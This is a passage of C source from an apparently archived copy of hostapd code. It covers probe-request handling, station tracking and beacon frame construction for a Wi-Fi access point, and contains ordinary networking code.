wpabuf_head(hapd->wps_probe_resp_ie), wpabuf_len(hapd->wps_probe_resp_ie)); pos += wpabuf_len(hapd->wps_probe_resp_ie); } #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if ((hapd->conf->p2p & P2P_ENABLED) && is_p2p && hapd->p2p_probe_resp_ie) { os_memcpy(pos, wpabuf_head(hapd->p2p_probe_resp_ie), wpabuf_len(hapd->p2p_probe_resp_ie)); pos += wpabuf_len(hapd->p2p_probe_resp_ie); } #endif /* CONFIG_P2P */ #ifdef CONFIG_P2P_MANAGER if ((hapd->conf->p2p & (P2P_MANAGE | P2P_ENABLED | P2P_GROUP_OWNER)) == P2P_MANAGE) pos = hostapd_eid_p2p_manage(hapd, pos); #endif /* CONFIG_P2P_MANAGER */ #ifdef CONFIG_HS20 pos = hostapd_eid_hs20_indication(hapd, pos); pos = hostapd_eid_osen(hapd, pos); #endif /* CONFIG_HS20 */ pos = hostapd_eid_mbo(hapd, pos, (u8 *) resp + buflen - pos); pos = hostapd_eid_owe_trans(hapd, pos, (u8 *) resp + buflen - pos); if (hapd->conf->vendor_elements) { os_memcpy(pos, wpabuf_head(hapd->conf->vendor_elements), wpabuf_len(hapd->conf->vendor_elements)); pos += wpabuf_len(hapd->conf->vendor_elements); } *resp_len = pos - (u8 *) resp; return (u8 *) resp; } enum ssid_match_result { NO_SSID_MATCH, EXACT_SSID_MATCH, WILDCARD_SSID_MATCH }; static enum ssid_match_result ssid_match(struct hostapd_data *hapd, const u8 *ssid, size_t ssid_len, const u8 *ssid_list, size_t ssid_list_len) { const u8 *pos, *end; int wildcard = 0; if (ssid_len == 0) wildcard = 1; if (ssid_len == hapd->conf->ssid.ssid_len && os_memcmp(ssid, hapd->conf->ssid.ssid, ssid_len) == 0) return EXACT_SSID_MATCH; if (ssid_list == NULL) return wildcard ? WILDCARD_SSID_MATCH : NO_SSID_MATCH; pos = ssid_list; end = ssid_list + ssid_list_len; while (end - pos >= 1) { if (2 + pos[1] > end - pos) break; if (pos[1] == 0) wildcard = 1; if (pos[1] == hapd->conf->ssid.ssid_len && os_memcmp(pos + 2, hapd->conf->ssid.ssid, pos[1]) == 0) return EXACT_SSID_MATCH; pos += 2 + pos[1]; } return wildcard ? WILDCARD_SSID_MATCH : NO_SSID_MATCH; } void sta_track_expire(struct hostapd_iface *iface, int force) { struct os_reltime now; struct hostapd_sta_info *info; if (!iface->num_sta_seen) return; os_get_reltime(&now); while ((info = dl_list_first(&iface->sta_seen, struct hostapd_sta_info, list))) { if (!force && !os_reltime_expired(&now, &info->last_seen, iface->conf->track_sta_max_age)) break; force = 0; wpa_printf(MSG_MSGDUMP, "%s: Expire STA tracking entry for " MACSTR, iface->bss[0]->conf->iface, MAC2STR(info->addr)); dl_list_del(&info->list); iface->num_sta_seen--; sta_track_del(info); } } static struct hostapd_sta_info * sta_track_get(struct hostapd_iface *iface, const u8 *addr) { struct hostapd_sta_info *info; dl_list_for_each(info, &iface->sta_seen, struct hostapd_sta_info, list) if (os_memcmp(addr, info->addr, ETH_ALEN) == 0) return info; return NULL; } void sta_track_add(struct hostapd_iface *iface, const u8 *addr, int ssi_signal) { struct hostapd_sta_info *info; info = sta_track_get(iface, addr); if (info) { /* Move the most recent entry to the end of the list */ dl_list_del(&info->list); dl_list_add_tail(&iface->sta_seen, &info->list); os_get_reltime(&info->last_seen); info->ssi_signal = ssi_signal; return; } /* Add a new entry */ info = os_zalloc(sizeof(*info)); if (info == NULL) return; os_memcpy(info->addr, addr, ETH_ALEN); os_get_reltime(&info->last_seen); info->ssi_signal = ssi_signal; if (iface->num_sta_seen >= iface->conf->track_sta_max_num) { /* Expire oldest entry to make room for a new one */ sta_track_expire(iface, 1); } wpa_printf(MSG_MSGDUMP, "%s: Add STA tracking entry for " MACSTR, iface->bss[0]->conf->iface, MAC2STR(addr)); dl_list_add_tail(&iface->sta_seen, &info->list); iface->num_sta_seen++; } struct hostapd_data * sta_track_seen_on(struct hostapd_iface *iface, const u8 *addr, const char *ifname) { struct hapd_interfaces *interfaces = iface->interfaces; size_t i, j; for (i = 0; i < interfaces->count; i++) { struct hostapd_data *hapd = NULL; iface = interfaces->iface[i]; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; if (os_strcmp(ifname, hapd->conf->iface) == 0) break; hapd = NULL; } if (hapd && sta_track_get(iface, addr)) return hapd; } return NULL; } #ifdef CONFIG_TAXONOMY void sta_track_claim_taxonomy_info(struct hostapd_iface *iface, const u8 *addr, struct wpabuf **probe_ie_taxonomy) { struct hostapd_sta_info *info; info = sta_track_get(iface, addr); if (!info) return; wpabuf_free(*probe_ie_taxonomy); *probe_ie_taxonomy = info->probe_ie_taxonomy; info->probe_ie_taxonomy = NULL; } #endif /* CONFIG_TAXONOMY */ void handle_probe_req(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ssi_signal) { u8 *resp; struct ieee802_11_elems elems; const u8 *ie; size_t ie_len; size_t i, resp_len; int noack; enum ssid_match_result res; int ret; u16 csa_offs[2]; size_t csa_offs_len; u32 session_timeout, acct_interim_interval; struct vlan_description vlan_id; struct hostapd_sta_wpa_psk_short *psk = NULL; char *identity = NULL; char *radius_cui = NULL; if (len < IEEE80211_HDRLEN) return; ie = ((const u8 *) mgmt) + IEEE80211_HDRLEN; if (hapd->iconf->track_sta_max_num) sta_track_add(hapd->iface, mgmt->sa, ssi_signal); ie_len = len - IEEE80211_HDRLEN; ret = ieee802_11_allowed_address(hapd, mgmt->sa, (const u8 *) mgmt, len, &session_timeout, &acct_interim_interval, &vlan_id, &psk, &identity, &radius_cui, 1); if (ret == HOSTAPD_ACL_REJECT) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Ignore Probe Request frame from " MACSTR " due to ACL reject ", MAC2STR(mgmt->sa)); return; } for (i = 0; hapd->probereq_cb && i < hapd->num_probereq_cb; i++) if (hapd->probereq_cb[i].cb(hapd->probereq_cb[i].ctx, mgmt->sa, mgmt->da, mgmt->bssid, ie, ie_len, ssi_signal) > 0) return; if (!hapd->iconf->send_probe_response) return; if (ieee802_11_parse_elems(ie, ie_len, &elems, 0) == ParseFailed) { wpa_printf(MSG_DEBUG, "Could not parse ProbeReq from " MACSTR, MAC2STR(mgmt->sa)); return; } if ((!elems.ssid || !elems.supp_rates)) { wpa_printf(MSG_DEBUG, "STA " MACSTR " sent probe request " "without SSID or supported rates element", MAC2STR(mgmt->sa)); return; } /* * No need to reply if the Probe Request frame was sent on an adjacent * channel. IEEE Std 802.11-2012 describes this as a requirement for an * AP with dot11RadioMeasurementActivated set to true, but strictly * speaking does not allow such ignoring of Probe Request frames if * dot11RadioMeasurementActivated is false. Anyway, this can help reduce * number of unnecessary Probe Response frames for cases where the STA * is less likely to see them (Probe Request frame sent on a * neighboring, but partially overlapping, channel). */ if (elems.ds_params && hapd->iface->current_mode && (hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G || hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211B) && hapd->iconf->channel != elems.ds_params[0]) { wpa_printf(MSG_DEBUG, "Ignore Probe Request due to DS Params mismatch: chan=%u != ds.chan=%u", hapd->iconf->channel, elems.ds_params[0]); return; } #ifdef CONFIG_P2P if (hapd->p2p && hapd->p2p_group && elems.wps_ie) { struct wpabuf *wps; wps = ieee802_11_vendor_ie_concat(ie, ie_len, WPS_DEV_OUI_WFA); if (wps && !p2p_group_match_dev_type(hapd->p2p_group, wps)) { wpa_printf(MSG_MSGDUMP, "P2P: Ignore Probe Request " "due to mismatch with Requested Device " "Type"); wpabuf_free(wps); return; } wpabuf_free(wps); } if (hapd->p2p && hapd->p2p_group && elems.p2p) { struct wpabuf *p2p; p2p = ieee802_11_vendor_ie_concat(ie, ie_len, P2P_IE_VENDOR_TYPE); if (p2p && !p2p_group_match_dev_id(hapd->p2p_group, p2p)) { wpa_printf(MSG_MSGDUMP, "P2P: Ignore Probe Request " "due to mismatch with Device ID"); wpabuf_free(p2p); return; } wpabuf_free(p2p); } #endif /* CONFIG_P2P */ if (hapd->conf->ignore_broadcast_ssid && elems.ssid_len == 0 && elems.ssid_list_len == 0) { wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR " for " "broadcast SSID ignored", MAC2STR(mgmt->sa)); return; } #ifdef CONFIG_P2P if ((hapd->conf->p2p & P2P_GROUP_OWNER) && elems.ssid_len == P2P_WILDCARD_SSID_LEN && os_memcmp(elems.ssid, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN) == 0) { /* Process P2P Wildcard SSID like Wildcard SSID */ elems.ssid_len = 0; } #endif /* CONFIG_P2P */ #ifdef CONFIG_TAXONOMY { struct sta_info *sta; struct hostapd_sta_info *info; if ((sta = ap_get_sta(hapd, mgmt->sa)) != NULL) { taxonomy_sta_info_probe_req(hapd, sta, ie, ie_len); } else if ((info = sta_track_get(hapd->iface, mgmt->sa)) != NULL) { taxonomy_hostapd_sta_info_probe_req(hapd, info, ie, ie_len); } } #endif /* CONFIG_TAXONOMY */ res = ssid_match(hapd, elems.ssid, elems.ssid_len, elems.ssid_list, elems.ssid_list_len); if (res == NO_SSID_MATCH) { if (!(mgmt->da[0] & 0x01)) { wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR " for foreign SSID '%s' (DA " MACSTR ")%s", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len), MAC2STR(mgmt->da), elems.ssid_list ? " (SSID list)" : ""); } return; } #ifdef CONFIG_INTERWORKING if (hapd->conf->interworking && elems.interworking && elems.interworking_len >= 1) { u8 ant = elems.interworking[0] & 0x0f; if (ant != INTERWORKING_ANT_WILDCARD && ant != hapd->conf->access_network_type) { wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR " for mismatching ANT %u ignored", MAC2STR(mgmt->sa), ant); return; } } if (hapd->conf->interworking && elems.interworking && (elems.interworking_len == 7 || elems.interworking_len == 9)) { const u8 *hessid; if (elems.interworking_len == 7) hessid = elems.interworking + 1; else hessid = elems.interworking + 1 + 2; if (!is_broadcast_ether_addr(hessid) && os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) { wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR " for mismatching HESSID " MACSTR " ignored", MAC2STR(mgmt->sa), MAC2STR(hessid)); return; } } #endif /* CONFIG_INTERWORKING */ #ifdef CONFIG_P2P if ((hapd->conf->p2p & P2P_GROUP_OWNER) && supp_rates_11b_only(&elems)) { /* Indicates support for 11b rates only */ wpa_printf(MSG_EXCESSIVE, "P2P: Ignore Probe Request from " MACSTR " with only 802.11b rates", MAC2STR(mgmt->sa)); return; } #endif /* CONFIG_P2P */ /* TODO: verify that supp_rates contains at least one matching rate * with AP configuration */ if (hapd->conf->no_probe_resp_if_seen_on && is_multicast_ether_addr(mgmt->da) && is_multicast_ether_addr(mgmt->bssid) && sta_track_seen_on(hapd->iface, mgmt->sa, hapd->conf->no_probe_resp_if_seen_on)) { wpa_printf(MSG_MSGDUMP, "%s: Ignore Probe Request from " MACSTR " since STA has been seen on %s", hapd->conf->iface, MAC2STR(mgmt->sa), hapd->conf->no_probe_resp_if_seen_on); return; } if (hapd->conf->no_probe_resp_if_max_sta && is_multicast_ether_addr(mgmt->da) && is_multicast_ether_addr(mgmt->bssid) && hapd->num_sta >= hapd->conf->max_num_sta && !ap_get_sta(hapd, mgmt->sa)) { wpa_printf(MSG_MSGDUMP, "%s: Ignore Probe Request from " MACSTR " since no room for additional STA", hapd->conf->iface, MAC2STR(mgmt->sa)); return; } #ifdef CONFIG_TESTING_OPTIONS if (hapd->iconf->ignore_probe_probability > 0.0 && drand48() < hapd->iconf->ignore_probe_probability) { wpa_printf(MSG_INFO, "TESTING: ignoring probe request from " MACSTR, MAC2STR(mgmt->sa)); return; } #endif /* CONFIG_TESTING_OPTIONS */ wpa_msg_ctrl(hapd->msg_ctx, MSG_INFO, RX_PROBE_REQUEST "sa=" MACSTR " signal=%d", MAC2STR(mgmt->sa), ssi_signal); resp = hostapd_gen_probe_resp(hapd, mgmt, elems.p2p != NULL, &resp_len); if (resp == NULL) return; /* * If this is a broadcast probe request, apply no ack policy to avoid * excessive retries. */ noack = !!(res == WILDCARD_SSID_MATCH && is_broadcast_ether_addr(mgmt->da)); csa_offs_len = 0; if (hapd->csa_in_progress) { if (hapd->cs_c_off_proberesp) csa_offs[csa_offs_len++] = hapd->cs_c_off_proberesp; if (hapd->cs_c_off_ecsa_proberesp) csa_offs[csa_offs_len++] = hapd->cs_c_off_ecsa_proberesp; } ret = hostapd_drv_send_mlme_csa(hapd, resp, resp_len, noack, csa_offs_len ? csa_offs : NULL, csa_offs_len); if (ret < 0) wpa_printf(MSG_INFO, "handle_probe_req: send failed"); os_free(resp); wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s " "SSID", MAC2STR(mgmt->sa), elems.ssid_len == 0 ? "broadcast" : "our"); } static u8 * hostapd_probe_resp_offloads(struct hostapd_data *hapd, size_t *resp_len) { /* check probe response offloading caps and print warnings */ if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_PROBE_RESP_OFFLOAD)) return NULL; #ifdef CONFIG_WPS if (hapd->conf->wps_state && hapd->wps_probe_resp_ie && (!(hapd->iface->probe_resp_offloads & (WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS | WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS2)))) wpa_printf(MSG_WARNING, "Device is trying to offload WPS " "Probe Response while not supporting this"); #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if ((hapd->conf->p2p & P2P_ENABLED) && hapd->p2p_probe_resp_ie && !(hapd->iface->probe_resp_offloads & WPA_DRIVER_PROBE_RESP_OFFLOAD_P2P)) wpa_printf(MSG_WARNING, "Device is trying to offload P2P " "Probe Response while not supporting this"); #endif /* CONFIG_P2P */ if (hapd->conf->interworking && !(hapd->iface->probe_resp_offloads & WPA_DRIVER_PROBE_RESP_OFFLOAD_INTERWORKING)) wpa_printf(MSG_WARNING, "Device is trying to offload " "Interworking Probe Response while not supporting " "this"); /* Generate a Probe Response template for the non-P2P case */ return hostapd_gen_probe_resp(hapd, NULL, 0, resp_len); } #endif /* NEED_AP_MLME */ void sta_track_del(struct hostapd_sta_info *info) { #ifdef CONFIG_TAXONOMY wpabuf_free(info->probe_ie_taxonomy); info->probe_ie_taxonomy = NULL; #endif /* CONFIG_TAXONOMY */ os_free(info); } int ieee802_11_build_ap_params(struct hostapd_data *hapd, struct wpa_driver_ap_params *params) { struct ieee80211_mgmt *head = NULL; u8 *tail = NULL; size_t head_len = 0, tail_len = 0; u8 *resp = NULL; size_t resp_len = 0; #ifdef NEED_AP_MLME u16 capab_info; u8 *pos, *tailpos, *csa_pos; #define BEACON_HEAD_BUF_SIZE 256 #define BEACON_TAIL_BUF_SIZE 512 head = os_zalloc(BEACON_HEAD_BUF_SIZE); tail_len = BEACON_TAIL_BUF_SIZE; #ifdef CONFIG_WPS if (hapd->conf->wps_state && hapd->wps_beacon_ie) tail_len += wpabuf_len(hapd->wps_beacon_ie); #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if (hapd->p2p_beacon_ie) tail_len += wpabuf_len(hapd->p2p_beacon_ie); #endif /* CONFIG_P2P */ #ifdef CONFIG_FST if (hapd->iface->fst_ies) tail_len += wpabuf_len(hapd->iface->fst_ies); #endif /* CONFIG_FST */ if (hapd->conf->vendor_elements) tail_len += wpabuf_len(hapd->conf->vendor_elements); #ifdef CONFIG_IEEE80211AC if (hapd->conf->vendor_vht) { tail_len += 5 + 2 + sizeof(struct ieee80211_vht_capabilities) + 2 + sizeof(struct ieee80211_vht_operation); } #endif /* CONFIG_IEEE80211AC */ #ifdef CONFIG_IEEE80211AX if (hapd->iconf->ieee80211ax) { tail_len += 3 + sizeof(struct ieee80211_he_capabilities) + 3 + sizeof(struct ieee80211_he_operation); } #endif /* CONFIG_IEEE80211AX */ tail_len += hostapd_mbo_ie_len(hapd); tail_len += hostapd_eid_owe_trans_len(hapd); tailpos = tail = os_malloc(tail_len); if (head == NULL || tail == NULL) { wpa_printf(MSG_ERROR, "Failed to set beacon data"); os_free(head); os_free(tail); return -1; } head->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_BEACON); head->duration = host_to_le16(0); os_memset(head->da, 0xff, ETH_ALEN); os_memcpy(head->sa, hapd->own_addr, ETH_ALEN); os_memcpy(head->bssid, hapd->own_addr, ETH_ALEN); head->u.beacon.beacon_int = host_to_le16(hapd->iconf->beacon_int); /* hardware or low-level driver will setup seq_ctrl and timestamp */ capab_info = hostapd_own_capab_info(hapd); head->u.beacon.capab_info = host_to_le16(capab_info); pos = &head->u.beacon.variable[0]; /* SSID */ *pos++ = WLAN_EID_SSID; if (hapd->conf->ignore_broadcast_ssid == 2) { /* clear the data, but keep the correct length of the SSID */ *pos++ = hapd->conf->ssid.ssid_len; os_memset(pos, 0, hapd->conf->ssid.ssid_len); pos += hapd->conf->ssid.ssid_len; } else if (hapd->conf->ignore_broadcast_ssid) { *pos++ = 0; /* empty SSID */ } else { *pos++ = hapd->conf->ssid.ssid_len; os_memcpy(pos, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len); pos += hapd->conf->ssid.ssid_len; } /* Supported rates */ pos = hostapd_eid_supp_rates(hapd, pos); /* DS Params */ pos = hostapd_eid_ds_params(hapd, pos); head_len = pos - (u8 *) head; tailpos = hostapd_eid_country(hapd, tailpos, tail + BEACON_TAIL_BUF_SIZE - tailpos); /* Power Constraint element */ tailpos = hostapd_eid_pwr_constraint(hapd, tailpos); /* CSA IE */ csa_pos = hostapd_eid_csa(hapd, tailpos); if (csa_pos != tailpos) hapd->cs_c_off_beacon = csa_pos - tail - 1; tailpos = csa_pos; /* ERP Information element */ tailpos = hostapd_eid_erp_info(hapd, tailpos); /* Extended supported rates */ tailpos = hostapd_eid_ext_supp_rates(hapd, tailpos); /* RSN, MDIE, WPA */ tailpos = hostapd_eid_wpa(hapd, tailpos, tail + BEACON_TAIL_BUF_SIZE - tailpos); tailpos = hostapd_eid_rm_enabled_capab(hapd, tailpos, tail + BEACON_TAIL_BUF_SIZE - tailpos); tailpos = hostapd_eid_bss_load(hapd, tailpos, tail + BEACON_TAIL_BUF_SIZE - tailpos); /* eCSA IE */ csa_pos = hostapd_eid_ecsa(hapd, tailpos); if (csa_pos != tailpos) hapd->cs_c_off_ecsa_beacon = csa_pos - tail - 1; tailpos = csa_pos; tailpos = hostapd_eid_supported_op_classes(hapd, tailpos); #ifdef CONFIG_IEEE80211N /* Secondary Channel Offset element */ /* TODO: The standard doesn't specify a position for this element. */ tailpos = hostapd_eid_secondary_channel(hapd, tailpos); tailpos = hostapd_eid_ht_capabilities(hapd, tailpos); tailpos = hostapd_eid_ht_operation(hapd, tailpos); #endif /* CONFIG_IEEE80211N */ tailpos = hostapd_eid_ext_capab(hapd, tailpos); /* * TODO: Time Advertisement element should only be included in some * DTIM Beacon frames. */ tailpos = hostapd_eid_time_adv(hapd, tailpos); tailpos = hostapd_eid_interworking(hapd, tailpos); tailpos = hostapd_eid_adv_proto(hapd, tailpos); tailpos = hostapd_eid_roaming_consortium(hapd, tailpos); #ifdef CONFIG_FST if (hapd->iface->fst_ies) { os_memcpy(tailpos, wpabuf_head(hapd->iface->fst_ies), wpabuf_len(hapd->iface->fst_ies)); tailpos += wpabuf_len(hapd->iface->fst_ies); } #endif /* CONFIG_FST */ #ifdef CONFIG_IEEE80211AC if (hapd->iconf->ieee80211ac && !hapd->conf->disable_11ac) { tailpos = hostapd_eid_vht_capabilities(hapd, tailpos, 0); tailpos = hostapd_eid_vht_operation(hapd, tailpos); tailpos = hostapd_eid_txpower_envelope(hapd, tailpos); tailpos = hostapd_eid_wb_chsw_wrapper(hapd, tailpos); } #endif /* CONFIG_IEEE80211AC */ tailpos = hostapd_eid_fils_indic(hapd, tailpos, 0); #ifdef CONFIG_IEEE80211AX if (hapd->iconf->ieee80211ax) { tailpos = hostapd_eid_he_capab(hapd, tailpos); tailpos = hostapd_eid_he_operation(hapd, tailpos); } #endif /* CONFIG_IEEE80211AX */ #ifdef CONFIG_IEEE80211AC if (hapd->conf->vendor_vht) tailpos = hostapd_eid_vendor_vht(hapd, tailpos); #endif /* CONFIG_IEEE80211AC */ /* Wi-Fi Alliance WMM */ tailpos = hostapd_eid_wmm(hapd, tailpos); #ifdef CONFIG_WPS if (hapd->conf->wps_state && hapd->wps_beacon_ie) { os_memcpy(tailpos, wpabuf_head(hapd->wps_beacon_ie), wpabuf_len(hapd->wps_beacon_ie)); tailpos += wpabuf_len(hapd->wps_beacon_ie); } #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if ((hapd->conf->p2p & P2P_ENABLED) && hapd->p2p_beacon_ie) { os_memcpy(tailpos, wpabuf_head(hapd->p2p_beacon_ie), wpabuf_len(hapd->p2p_beacon_ie)); tailpos += wpabuf_len(hapd->p2p_beacon_ie); } #endif /* CONFIG_P2P */ #ifdef CONFIG_P2P_MANAGER if ((hapd->conf->p2p & (P2P_MANAGE | P2P_ENABLED | P2P_GROUP_OWNER)) == P2P_MANAGE) tailpos = hostapd_eid_p2p_manage(hapd, tailpos); #endif /* CONFIG_P2P_MANAGER */ #ifdef CONFIG_HS20 tailpos = hostapd_eid_hs20_indication(hapd, tailpos); tailpos = hostapd_eid_osen(hapd, tailpos); #endif /* CONFIG_HS20 */ tailpos = hostapd_eid_mbo(hapd, tailpos, tail + tail_len - tailpos); tailpos = hostapd_eid_owe_trans(hapd, tailpos, tail + tail_len - tailpos); if (hapd->conf->vendor_elements) { os_memcpy(tailpos, wpabuf_head(hapd->conf->vendor_elements), wpabuf_len(hapd->conf->vendor_elements)); tailpos += wpabuf_len(hapd->conf->vendor_elements); } tail_len = tailpos > tail ? tailpos - tail : 0; resp = hostapd_probe_resp_offloads(hapd, &resp_len); #endif /* NEED_AP_MLME */ os_memset(params, 0, sizeof(*params)); params->head = (u8 *) head; params->head_len = head_len; params->tail = tail; params->tail_len = tail_len; params->proberesp = resp; params->proberesp_len = resp_len; params->dtim_period = hapd->conf->dtim_period; params->beacon_int = hapd->iconf->beacon_int; params->basic_rates = hapd->iface->basic_rates; params->beacon_rate = hapd->iconf->beacon_rate; params->rate_type = hapd->iconf->rate_type; params->ssid = hapd->conf->ssid.ssid; params->ssid_len = hapd->conf->ssid.ssid_len; if ((hapd->conf->wpa & (WPA_PROTO_WPA | WPA_PROTO_RSN)) == (WPA_PROTO_WPA | WPA_PROTO_RSN)) params->pairwise_ciphers = hapd->conf->wpa_pairwise | hapd->conf->rsn_pairwise; else if (hapd->conf->wpa & WPA_PROTO_RSN) params->pairwise_ciphers = hapd->conf->rsn_pairwise; else if (hapd->conf->wpa & WPA_PROTO_WPA) params->pairwise_ciphers = hapd->conf->wpa_pairwise; params->group_cipher = hapd->conf->wpa_group; params->key_mgmt_suites = hapd->conf->wpa_key_mgmt; params->auth_algs = hapd->conf->auth_algs; params->wpa_version = hapd->conf->wpa; params->privacy = hapd->conf->ssid.wep.keys_set || hapd->conf->wpa || (hapd->conf->ieee802_1x && (hapd->conf->default_wep_key_len || hapd->conf->individual_wep_key_len)); switch (hapd->conf->ignore_broadcast_ssid) { case 0: params->hide_ssid = NO_SSID_HIDING; break; case 1: params->hide_ssid = HIDDEN_SSID_ZERO_LEN; break; case 2: params->hide_ssid = HIDDEN_SSID_ZERO_CONTENTS; break; } params->isolate = hapd->conf->isolate; params->smps_mode = hapd->iconf->ht_capab & HT_CAP_INFO_SMPS_MASK; #ifdef NEED_AP_MLME params->cts_protect = !!(ieee802_11_erp_info(hapd) & ERP_INFO_USE_PROTECTION); params->preamble = hapd->iface->num_sta_no_short_preamble == 0 && hapd->iconf->preamble == SHORT_PREAMBLE; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) params->short_slot_time = hapd->iface->num_sta_no_short_slot_time > 0 ? 0 : 1; else params->short_slot_time = -1; if (!hapd->iconf->ieee80211n || hapd->conf->disable_11n) params->ht_opmode = -1; else params->ht_opmode = hapd->iface->ht_op_mode; #endif /* NEED_AP_MLME */ params->interworking = hapd->conf->interworking; if (hapd->conf->interworking && !is_zero_ether_addr(hapd->conf->hessid)) params->hessid = hapd->conf->hessid; params->access_network_type = hapd->conf->access_network_type; params->ap_max_inactivity = hapd->conf->ap_max_inactivity; #ifdef CONFIG_P2P params->p2p_go_ctwindow = hapd->iconf->p2p_go_ctwindow; #endif /* CONFIG_P2P */ #ifdef CONFIG_HS20 params->disable_dgaf = hapd->conf->disable_dgaf; if (hapd->conf->osen) { params->privacy = 1; params->osen = 1; } #endif /* CONFIG_HS20 */ params->multicast_to_unicast = hapd->conf->multicast_to_unicast; params->pbss = hapd->conf->pbss; return 0; } void ieee802_11_free_ap_params(struct wpa_driver_ap_params *params) { os_free(params->tail); params->tail = NULL; os_free(params->head); params->head = NULL; os_free(params->proberesp); params->proberesp = NULL; } int ieee802_11_set_beacon(struct hostapd_data *hapd) { struct wpa_driver_ap_params params; struct hostapd_freq_params freq; struct hostapd_iface *iface = hapd->iface; struct hostapd_config *iconf = iface->conf; struct wpabuf *beacon, *proberesp, *assocresp; int res, ret = -1; if (hapd->csa_in_progress) { wpa_printf(MSG_ERROR, "Cannot set beacons during CSA period"); return -1; } hapd->beacon_set_done = 1; if (ieee802_11_build_ap_params(hapd, ¶ms) < 0) return -1; if (hostapd_build_ap_extra_ies(hapd, &beacon, &proberesp, &assocresp) < 0) goto fail; params.beacon_ies = beacon; params.proberesp_ies = proberesp; params.assocresp_ies = assocresp; params.reenable = hapd->reenable_beacon; hapd->reenable_beacon = 0; if (iface->current_mode && hostapd_set_freq_params(&freq, iconf->hw_mode, iface->freq, iconf->channel, iconf->ieee80211n, iconf->ieee80211ac, iconf->secondary_channel, iconf->vht_oper_chwidth, iconf->vht_oper_centr_freq_seg0_idx, iconf->vht_oper_centr_freq_seg1_idx, iface->current_mode->vht_capab) == 0) params.freq = &freq; res = hostapd_drv_set_ap(hapd, ¶ms); hostapd_free_ap_extra_ies(hapd, beacon, proberesp, assocresp); if (res) wpa_printf(MSG_ERROR, "Failed to set beacon parameters"); else ret = 0; fail: ieee802_11_free_ap_params(¶ms); return ret; } int ieee802_11_set_beacons(struct hostapd_iface *iface) { size_t i; int ret = 0; for (i = 0; i < iface->num_bss; i++) { if (iface->bss[i]->started && ieee802_11_set_beacon(iface->bss[i]) < 0) ret = -1; } return ret; } /* only update beacons if started */ int ieee802_11_update_beacons(struct hostapd_iface *iface) { size_t i; int ret = 0; for (i = 0; i < iface->num_bss; i++) { if (iface->bss[i]->beacon_set_done && iface->bss[i]->started && ieee802_11_set_beacon(iface->bss[i]) < 0) ret = -1; } return ret; } #endif /* CONFIG_NATIVE_WINDOWS */ wpa_sycophant-master/src/ap/beacon.h000066400000000000000000000024001377436615100200260ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 Management: Beacon and Probe Request/Response * Copyright (c) 2002-2004, Instant802 Networks, Inc. * Copyright (c) 2005-2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef BEACON_H #define BEACON_H struct ieee80211_mgmt; void handle_probe_req(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ssi_signal); int ieee802_11_set_beacon(struct hostapd_data *hapd); int ieee802_11_set_beacons(struct hostapd_iface *iface); int ieee802_11_update_beacons(struct hostapd_iface *iface); int ieee802_11_build_ap_params(struct hostapd_data *hapd, struct wpa_driver_ap_params *params); void ieee802_11_free_ap_params(struct wpa_driver_ap_params *params); void sta_track_add(struct hostapd_iface *iface, const u8 *addr, int ssi_signal); void sta_track_del(struct hostapd_sta_info *info); void sta_track_expire(struct hostapd_iface *iface, int force); struct hostapd_data * sta_track_seen_on(struct hostapd_iface *iface, const u8 *addr, const char *ifname); void sta_track_claim_taxonomy_info(struct hostapd_iface *iface, const u8 *addr, struct wpabuf **probe_ie_taxonomy); #endif /* BEACON_H */ wpa_sycophant-master/src/ap/bss_load.c000066400000000000000000000046361377436615100203750ustar00rootroot00000000000000/* * BSS Load Element / Channel Utilization * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "hostapd.h" #include "bss_load.h" #include "ap_drv_ops.h" #include "beacon.h" static int get_bss_load_update_timeout(struct hostapd_data *hapd, unsigned int *sec, unsigned int *usec) { unsigned int update_period = hapd->conf->bss_load_update_period; unsigned int beacon_int = hapd->iconf->beacon_int; unsigned int update_timeout; if (!update_period || !beacon_int) { wpa_printf(MSG_ERROR, "BSS Load: Invalid BSS load update configuration (period=%u beacon_int=%u)", update_period, beacon_int); return -1; } update_timeout = update_period * beacon_int; *sec = ((update_timeout / 1000) * 1024) / 1000; *usec = (update_timeout % 1000) * 1024; return 0; } static void update_channel_utilization(void *eloop_data, void *user_data) { struct hostapd_data *hapd = eloop_data; unsigned int sec, usec; int err; struct hostapd_iface *iface = hapd->iface; if (!(hapd->beacon_set_done && hapd->started)) return; err = hostapd_drv_get_survey(hapd, hapd->iface->freq); if (err) { wpa_printf(MSG_ERROR, "BSS Load: Failed to get survey data"); return; } ieee802_11_set_beacon(hapd); if (get_bss_load_update_timeout(hapd, &sec, &usec) < 0) return; if (hapd->conf->chan_util_avg_period) { iface->chan_util_samples_sum += iface->channel_utilization; iface->chan_util_num_sample_periods += hapd->conf->bss_load_update_period; if (iface->chan_util_num_sample_periods >= hapd->conf->chan_util_avg_period) { iface->chan_util_average = iface->chan_util_samples_sum / 